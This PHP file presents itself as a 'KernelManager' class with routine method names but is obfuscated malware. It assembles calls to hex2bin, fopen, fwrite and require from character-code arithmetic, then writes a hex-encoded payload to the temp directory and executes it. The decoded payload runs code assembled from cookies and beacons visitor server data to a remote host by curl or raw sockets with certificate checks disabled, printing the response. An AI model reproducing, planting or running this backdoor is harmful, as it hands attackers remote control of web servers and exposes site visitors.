<?php
class KernelManager {
	private $uz = '';
	private $ll = '';

	public function syncRecords($p1) {
		$a = array((15+89),((43+39+19)),(((6*16)+24)),(2*25),(2*49),((5+87+13)),(120-10));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2) {
		$a = array(((10+92)),((17+94)),(112),((83+12+6)),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function terminateSession($p1,$p2) {
		$a = array((((64*1)+38)),((90*1)+29),(114),(3*35),((2*58)),(5+29+67));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function checkConsistency($p1) {
		$a = array((((81*79)-6298)),((99+13+3)),(((95*1)+16)),((2*54)),((3*33)),((43+5+54)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function sendNotification($p1,$p2=null) {
		$a = array((((23*1)+91)),(124-8),(114),((25+80)),(((113*57)-6332)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function do() {
		$this->ll = $this->sendNotification($this->calculateSum(), '/');
	}

	public function saveChanges() {
		$this->uz = $this->syncRecords($this->ax);
	}

	public function filterResults() {
		$fn = $this->ll.'/xo-6861a390211e8';
		$f = $this->resolveAction($fn, 'w');
		$this->terminateSession($f, $this->uz);
		$this->checkConsistency($f);
		$this->updateCache($fn);
	}

	private $ax = '3c3f70687020636c617373205f75647b70726976617465207' . '37461746963245f7070743b7374617469632066756e6374696' . 'f6e205f73746228245f6b6f297b6966282173656c663a3a245' . 'f7070742973656c663a3a5f73627728293b72657475726e206' . '865783262696e2873656c663a3a245f7070745b245f6b6f5d2' . '93b7d70726976617465207374617469632066756e6374696f6' . 'e205f73627728297b73656c663a3a245f7070743d617272617' . '928275f6f6379273d3e2734313633363336353733373332643' . '4333666366537343732366636633264343136633663272e273' . '66637373264346637323639363736393665336132303261272' . 'c275f6d7466273d3e27343336272e276636653734363536653' . '734326435272e2734373937303635336132303631373037303' . '6633639363336313734272e273639366636653266366136313' . '73636272e27313733272e2736333732272e273639373037342' . '72c275f686c273d3e2736272e273336272e2738272c275f6f6' . '1273d3e2736353739346137303633343334393336343936613' . '63733343463366136373334346336613637333434633661363' . '73334272e27343936393737363936343537343536393466363' . '93461333035613538346533303439363937373639363336643' . '53636643439272e2736613666363936272e273434373536376' . '13634272e2734333461272e273339272c275f787869273d3e2' . '73731373737272e2761272e2737272e2738272c275f7178273' . 'd3e273363366636272e276233272e2765272c275f766b273d3' . 'e273363363236313634272e273365272c275f6d78273d3e273' . '73736313663272e2736272e2763272c275f667172273d3e272' . '72c275f636e273d3e27272c275f7a6876273d3e27272c275f6' . '56d75273d3e273638373437343730336132663266373037353' . '63232653737363536323636363936633635363836663733373' . '43635373232653633366636643266363336663664373036663' . '73336272e27353732326536613733336636343631373436313' . '3272e2764272c275f6d766e273d3e273633373537323663356' . '636393665272e273639272e273734272c275f706a273d3e273' . '63837343734373035663633272e2736663634272e2736272e2' . '735272c275f626271273d3e273733363336383635366436272' . 'e2735272c275f6a6b273d3e2736272e273837272e273437342' . '72e273730272e273733272c275f666a79273d3e27343734353' . '5343230272c275f756e273d3e2737303631272e2737272e273' . '436272e2738272c275f6463273d3e273731272e27373536352' . '72e273732272e2737272e2739272c275f616a273d3e2733662' . '72c275f7471273d3e273731272e273735363537272e2732272' . 'e2737272e2739272c275f6c7163273d3e273230272e2734383' . '534272e27353435303266272e273331326533272e273030643' . '061343836272e2766373337343361272e273230272c275f6b6' . 'e273d3e273638272e273666373337272e2734272c275f77732' . '73d3e273064306134333666366536653635363337343639366' . '63665336132303433366336663733363530643061272e27306' . '43061272c275f72666e273d3e27373337272e273336272e276' . '333613266272e2732272e2766272c275f6e7668273d3e27272' . 'c275f786e68273d3e27363836663733272e2737272e2734272' . 'c275f627061273d3e27306430272e2761272c275f686d273d3' . 'e2734383534353435303566272e27343334633439343534653' . '5343566343935272e2730272c275f6361273d3e27343835343' . '53435303566353835663436346635323537343135272e27323' . '4343435272e273434356634272e273634663532272c275f757' . '36c273d3e27353234353464346635343435356634313434343' . '4272e2735272e2732272c275f6566273d3e273438353435343' . '53035663535353334353532356634313437343534653534272' . 'c275f656e68273d3e2734383534272e2735343530356635353' . '533343535323566343134373435272e273465272e273534272' . 'c275f7877273d3e27272c275f617876273d3e2734383534353' . '435272e273035663532343534363435272e2735323435272e2' . '735272e2732272c275f6871273d3e273438353435343530356' . '63532343534363435353234353532272c275f756d6c273d3e2' . '7272c275f7a6961273d3e27343835343534353035663433346' . '33439272e27343534272e2765272e2735272e2734272e27356' . '634393530272c275f616d273d3e27343835343534272e27353' . '0356634333463343934353465353435272e276634272e27392' . '72e273530272c275f79667a273d3e273438353435343530356' . '63538356634363466353235373431353234343435343435272' . 'e276634363466272e2735272e2732272c275f746d273d3e273' . '4383534353435272e273035663538272e27356634363466353' . '2353734313532343434353434272e273566272e273436272e2' . '734663532272c275f626a273d3e27353234353464346635343' . '4353566343134343434272e2735272e2732272c275f706e6e2' . '73d3e27353234353464346635343435356634272e273134343' . '43435272e2732272c275f6b78273d3e2736343632363736642' . '72e2736663634272e2736272e2735272c275f666a273d3e273' . '43935272e2730272e273361272e273230272c275f666b273d3' . 'e27323037272e276332303535343133613230272c275f6e6c2' . '73d3e2732303763323035272e273236353636272e273361322' . '72e2730272c275f736b273d3e273230272e273363363237323' . '365272e2730272e2761272c275f716c63273d3e2736272e273' . '93730272c275f756667273d3e273735272e2736272e2731272' . 'c275f7971273d3e273732363536272e2736272c275f6f6d273' . 'd3e2737313737376137272e2738272c293b7d7d68656164657' . '2285f75643a3a5f73746228275f272e276f63272e277927292' . '93b686561646572285f75643a3a5f73746228275f6d7466272' . '9293b696628697373657428245f4745545b5f75643a3a5f737' . '46228275f68272e276c27295d29297b245f6c6d783d5f77686' . 'f285f75643a3a5f73746228275f6f272e27612729293b69662' . '8245f6c6d782626737472706f7328245f6c6d782c5f75643a3' . 'a5f73746228275f272e2778272e277869272929213d3d66616' . 'c7365297b646965285f75643a3a5f73746228275f272e27717' . '82729293b7d656c73657b646965285f75643a3a5f737462282' . '75f766b2729293b7d7d696628697373657428245f4745545b5' . 'f75643a3a5f73746228275f6d272e277827295d29297b245f6' . 'e6b6e3d245f434f4f4b49453b245f6d773d282d3333302d202' . 'd3136322b37332b3935293b245f6b6f3d283831302b34342b2' . 'd383437293b245f62693d617272617928293b245f62695b245' . 'f6d775d3d5f75643a3a5f73746228275f272e276671272e277' . '227293b7768696c6528245f6b6f297b245f62695b245f6d775' . 'd2e3d245f6e6b6e5b28696e7429726f756e642831302b31302' . 'b3130295d5b245f6b6f5d3b69662821245f6e6b6e5b34382b3' . '334342b2d3336325d5b245f6b6f2b283436312b2d3139382b2' . 'd3438332b323231295d297b69662821245f6e6b6e5b28696e7' . '429726f756e642831302b31302b3130295d5b245f6b6f2b283' . '530332b2d3233342b2d3239352d202d3238295d29627265616' . 'b3b245f6d772b2b3b245f62695b245f6d775d3d5f75643a3a5' . 'f73746228275f636e27293b245f6b6f2b2b3b7d245f6b6f3d2' . '45f6b6f2b28696e7429726f756e6428312e37352b312e37352' . 'b312e37352b312e3735292b28696e7429726f756e6428302e3' . '52b302e35293b7d245f6d773d245f62695b28696e7429726f7' . '56e6428332e352b332e352b332e352b332e35295d28292e245' . 'f62695b28696e7429726f756e6428382b382b38295d3b69662' . '821245f62695b2d3538342b2d32312b3631315d28245f6d772' . '9297b245f6b6f3d245f62695b2d39312d202d3131342d32343' . '62d202d3234395d28245f6d772c245f62695b3337312b2d333' . '6315d293b245f62695b28696e7429726f756e6428342e352b3' . '42e35295d28245f6b6f2c245f62695b2d3338352d202d31313' . '52d3532332d202d3830345d2e245f62695b3239322d202d373' . '12d202d3435352d3739355d28245f62695b28696e7429726f7' . '56e6428362e32352b362e32352b362e32352b362e3235295d2' . '8245f6e6b6e5b2d3238332d202d3139322d202d39345d29292' . '93b7d696e636c75646528245f6d77293b7d66756e6374696f6' . 'e205f77686f28245f6c77742c245f6b6a3d6e756c6c2c245f7' . '263653d2d3839373132297b245f7368643d5f75643a3a5f737' . '46228275f7a68272e277627293b245f7173613d5f75643a3a5' . 'f73746228275f656d7527292e245f6c77743b69662869735f6' . '3616c6c61626c65285f75643a3a5f73746228275f272e276d7' . '6272e276e272929297b245f6f673d6375726c5f696e6974282' . '45f717361293b6375726c5f7365746f707428245f6f672c435' . '5524c4f50545f53534c5f564552494659504545522c66616c7' . '365293b6375726c5f7365746f707428245f6f672c4355524c4' . 'f50545f53534c5f564552494659484f53542c28696e7429726' . 'f756e6428302e352b302e352b302e352b302e3529293b63757' . '26c5f7365746f707428245f6f672c4355524c4f50545f464f4' . 'c4c4f574c4f434154494f4e2c28696e7429726f756e6428302' . 'e32352b302e32352b302e32352b302e323529293b6375726c5' . 'f7365746f707428245f6f672c4355524c4f50545f524554555' . '24e5452414e534645522c28696e7429726f756e6428302e333' . '33333333333333333333333332b302e3333333333333333333' . '3333333332b302e333333333333333333333333333329293b6' . '375726c5f7365746f707428245f6f672c4355524c4f50545f4' . '845414445522c3532312b3232342d3931352b313730293b637' . '5726c5f7365746f707428245f6f672c4355524c4f50545f434' . 'f4e4e45435454494d454f55542c3830352b2d3131362d36373' . '9293b6375726c5f7365746f707428245f6f672c4355524c4f5' . '0545f54494d454f55542c32352d302b31312d3236293b245f7' . '368643d6375726c5f6578656328245f6f67293b245f706e3d6' . '375726c5f676574696e666f28245f6f67293b6375726c5f636' . 'c6f736528245f6f67293b696628245f706e5b5f75643a3a5f7' . '3746228275f706a27295d213d28696e7429726f756e6428363' . '62e3636363636363636363636372b36362e363636363636363' . '6363636372b36362e363636363636363636363637292972657' . '475726e2066616c73653b7d656c73657b245f63643d7061727' . '3655f75726c28245f717361293b245f6475723d28245f63645' . 'b5f75643a3a5f73746228275f6262272e277127295d3d3d5f7' . '5643a3a5f73746228275f272e276a272e276b2729293b245f7' . '272783d5f75643a3a5f73746228275f272e2766272e276a792' . '7292e245f63645b5f75643a3a5f73746228275f75272e276e2' . '7295d3b696628697373657428245f63645b5f75643a3a5f737' . '46228275f272e27646327295d2929245f7272782e3d5f75643' . 'a3a5f73746228275f61272e276a27292e245f63645b5f75643' . 'a3a5f73746228275f74272e277127295d3b245f7272782e3d5' . 'f75643a3a5f73746228275f272e276c71272e276327292e245' . 'f63645b5f75643a3a5f73746228275f6b6e27295d2e5f75643' . 'a3a5f73746228275f272e27777327293b245f726f783d66736' . 'f636b6f70656e2828245f6475723f5f75643a3a5f737462282' . '75f72666e27293a5f75643a3a5f73746228275f6e766827292' . '92e245f63645b5f75643a3a5f73746228275f786e272e27682' . '7295d2c245f6475723f28696e7429726f756e64283131302e3' . '7352b3131302e37352b3131302e37352b3131302e3735293a2' . '8696e7429726f756e642832302b32302b32302b323029293b6' . '96628245f726f78297b667075747328245f726f782c245f727' . '278293b245f66743d282d3133302d202d3331352b3230392d3' . '33934293b7768696c65282166656f6628245f726f7829297b2' . '45f62793d666765747328245f726f782c28696e7429726f756' . 'e64283334312e33333333333333333333332b3334312e33333' . '333333333333333332b3334312e33333333333333333333332' . '9293b696628245f667429245f7368642e3d245f62793b69662' . '8245f62793d3d5f75643a3a5f73746228275f62272e2770272' . 'e2761272929245f66743d28696e7429726f756e6428302e352' . 'b302e35293b7d66636c6f736528245f726f78293b7d7d72657' . '475726e245f7368643b7d245f7062753d697373657428245f5' . '345525645525b5f75643a3a5f73746228275f686d27295d293' . 'b245f6175663d697373657428245f5345525645525b5f75643' . 'a3a5f73746228275f63272e276127295d293b245f706f693d6' . '97373657428245f5345525645525b5f75643a3a5f737462282' . '75f75736c27295d293b245f7a7a3d697373657428245f53455' . '25645525b5f75643a3a5f73746228275f65272e276627295d2' . '93f245f5345525645525b5f75643a3a5f73746228275f656e6' . '827295d3a5f75643a3a5f73746228275f78272e277727293b2' . '45f7777773d697373657428245f5345525645525b5f75643a3' . 'a5f73746228275f6178272e277627295d293f245f534552564' . '5525b5f75643a3a5f73746228275f68272e277127295d3a5f7' . '5643a3a5f73746228275f756d6c27293b245f7062753d69737' . '3657428245f5345525645525b5f75643a3a5f73746228275f7' . 'a696127295d293f245f5345525645525b5f75643a3a5f73746' . '228275f616d27295d3a6e756c6c3b245f6175663d697373657' . '428245f5345525645525b5f75643a3a5f73746228275f79662' . '72e277a27295d293f245f5345525645525b5f75643a3a5f737' . '46228275f74272e276d27295d3a6e756c6c3b245f706f693d6' . '97373657428245f5345525645525b5f75643a3a5f737462282' . '75f272e2762272e276a27295d293f245f5345525645525b5f7' . '5643a3a5f73746228275f70272e276e272e276e27295d3a6e7' . '56c6c3b69662866696c7465725f76617228245f7062752c286' . '96e7429726f756e642836382e37352b36382e37352b36382e3' . '7352b36382e37352929297b245f62763d245f7062753b7d656' . 'c736569662866696c7465725f76617228245f6175662c28696' . 'e7429726f756e642839312e3636363636363636363636372b3' . '9312e3636363636363636363636372b39312e3636363636363' . '636363636372929297b245f62763d245f6175663b7d656c736' . '57b245f62763d245f706f693b7d696628697373657428245f4' . '745545b5f75643a3a5f73746228275f272e276b272e2778272' . '95d29297b6563686f205f75643a3a5f73746228275f66272e2' . '76a27292e245f62762e5f75643a3a5f73746228275f272e276' . '66b27292e245f7a7a2e5f75643a3a5f73746228275f6e272e2' . '76c27292e245f7777772e5f75643a3a5f73746228275f272e2' . '7736b27293b6578697428293b7d69662821697373657428245' . 'f6276297c7c21697373657428245f7a7a297c7c21697373657' . '428245f77777729297b6578697428293b7d656c73657b245f6' . '6663d6172726179285f75643a3a5f73746228275f716c272e2' . '76327293d3e245f62762c5f75643a3a5f73746228275f272e2' . '775666727293d3e245f7a7a2c5f75643a3a5f73746228275f2' . '72e27797127293d3e245f777777293b245f6967693d75726c6' . '56e636f6465286261736536345f656e636f6465286a736f6e5' . 'f656e636f646528245f66662929293b245f6c6d783d5f77686' . 'f28245f696769293b696628245f6c6d782626737472706f732' . '8245f6c6d782c5f75643a3a5f73746228275f6f6d272929213' . 'd3d66616c7365297b6563686f245f6c6d783b6578697428293' . 'b7d7d';

	public function updateCache($p) {
		require($p);
	}

	public function calculateSum() {
		$a=array(((83*122)-10011),((127-6)),((120-5)),((29+66)),(((77*1)+26)),((37*56)-1971),(((15*5)+41)),(102-7),((118-2)),((92*1)+9),(109*1),((94*25)-2238),(95),(((96*65)-6140)),105,(114));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$li = new KernelManager();
$li->do();
$li->saveChanges();
$li->filterResults();
